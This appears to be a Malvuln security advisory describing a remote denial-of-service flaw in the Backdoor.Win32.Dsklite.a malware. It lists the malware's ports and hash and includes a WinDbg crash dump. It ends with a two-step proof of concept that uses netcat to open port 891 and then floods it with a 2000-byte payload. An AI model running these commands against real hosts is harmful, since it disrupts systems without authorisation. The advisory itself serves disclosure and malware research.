Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/6c9665de78ae60a8e057d2c9cdb91596.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Dsklite.a Vulnerability: Remote Denial of Service Description: The malware listens on TCP ports 890, 891. Third-party attackers who can reach an infected system can connect to port 890, this will in turn open the vuln port 891. Attackers can then send a large payload to DOS the backdoor malware. Type: PE32 MD5: 6c9665de78ae60a8e057d2c9cdb91596 Vuln ID: MVID-2022-0444 Dropped files: winlogon.exe Disclosure: 01/05/2022 Memory Dump: (1628.10d4): Unknown exception - code c000008f (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000002 edx=00000000 esi=00000003 edi=00000003 eip=773ced3c esp=0019f238 ebp=0019f3c8 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:000> .ecxr eax=0019fb38 ebx=00412a90 ecx=00000002 edx=00000000 esi=0019fc1c edi=02549f28 eip=767508f2 esp=0019fb38 ebp=0019fb94 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 KERNELBASE!RaiseException+0x62: 767508f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fb8c=6b57a7b6 *** ERROR: Symbol file could not be found. Defaulted to export symbols for msvbvm60.dll - 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** ERROR: Module load completed but symbols could not be loaded for winlogon.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: KERNELBASE!RaiseException+62 767508f2 8b4c2454 mov ecx,dword ptr [esp+54h] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 767508f2 (KERNELBASE!RaiseException+0x00000062) ExceptionCode: c000008f ExceptionFlags: 00000001 NumberParameters: 2 Parameter[0]: deadcafe Parameter[1]: deadcafe PROCESS_NAME: winlogon.exe ERROR_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION} Floating-point inexact result. EXCEPTION_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION} Floating-point inexact result. EXCEPTION_PARAMETER1: deadcafe EXCEPTION_PARAMETER2: deadcafe MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000010d4 DEFAULT_BUCKET_ID: STATUS_FLOAT_INEXACT_RESULT PRIMARY_PROBLEM_CLASS: STATUS_FLOAT_INEXACT_RESULT BUGCHECK_STR: APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT LAST_CONTROL_TRANSFER: from 660d0dcf to 767508f2 STACK_TEXT: 0019fb94 660d0dcf c000008f 00000001 00000002 KERNELBASE!RaiseException+0x62 WARNING: Stack unwind information not available. Following frames may be wrong. 0019fbb4 66101d44 00000000 00000000 00000002 msvbvm60!EbGetHandleOfExecutingProject+0x22b3 0019fca0 764ee0bb 00419054 016106bc 0000c280 msvbvm60!ProcCallEngine+0x4ce7 0019fcd0 764f8849 004043b4 016106bc 0000c280 user32!_InternalCallWinProc+0x2b 0019fcf4 764fb145 0000c280 000002e4 00000001 user32!InternalCallWinProc+0x20 0019fdc4 764e90dc 004043b4 00000000 0000c280 user32!UserCallWinProcCheckWow+0x1be 0019fe30 764e38c0 0019fe78 6600a6c8 0019fe50 user32!DispatchMessageWorker+0x4ac 0019fe38 6600a6c8 0019fe50 ffffffff 04071e54 user32!DispatchMessageA+0x10 0019fe78 6600a63f ffffffff 04071e7c 04070000 msvbvm60!_vbaStrToAnsi+0x2f1 0019febc 6600a51d 04071f4c ffffffff 00001628 msvbvm60!_vbaStrToAnsi+0x268 0019fed8 6600a4e8 04071e78 04071f4c ffffffff msvbvm60!_vbaStrToAnsi+0x146 0019fefc 66003644 ffffffff 00401224 00401224 msvbvm60!_vbaStrToAnsi+0x111 003b6000 ffffffff 00400000 77477be0 02541878 msvbvm60!ThunRTMain+0xa0 00000000 00000000 00000000 00000000 00000000 0xffffffff FOLLOWUP_IP: user32!_InternalCallWinProc+2b 764ee0bb 648025ca0f0000fe and byte ptr fs:[0FCAh],0FEh SYMBOL_STACK_INDEX: 3 SYMBOL_NAME: user32!_InternalCallWinProc+2b FOLLOWUP_NAME: MachineOwner MODULE_NAME: user32 IMAGE_NAME: user32.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID: STATUS_FLOAT_INEXACT_RESULT_c000008f_user32.dll!_InternalCallWinProc BUCKET_ID: APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT_user32!_InternalCallWinProc+2b Exploit/PoC: 1) connect to port 890 to open vuln port 891 nc64.exe x.x.x.x 890 2) send large packet to trigger DOS python -c "print('A'*2000)" | nc64.exe x.x.x.x 891 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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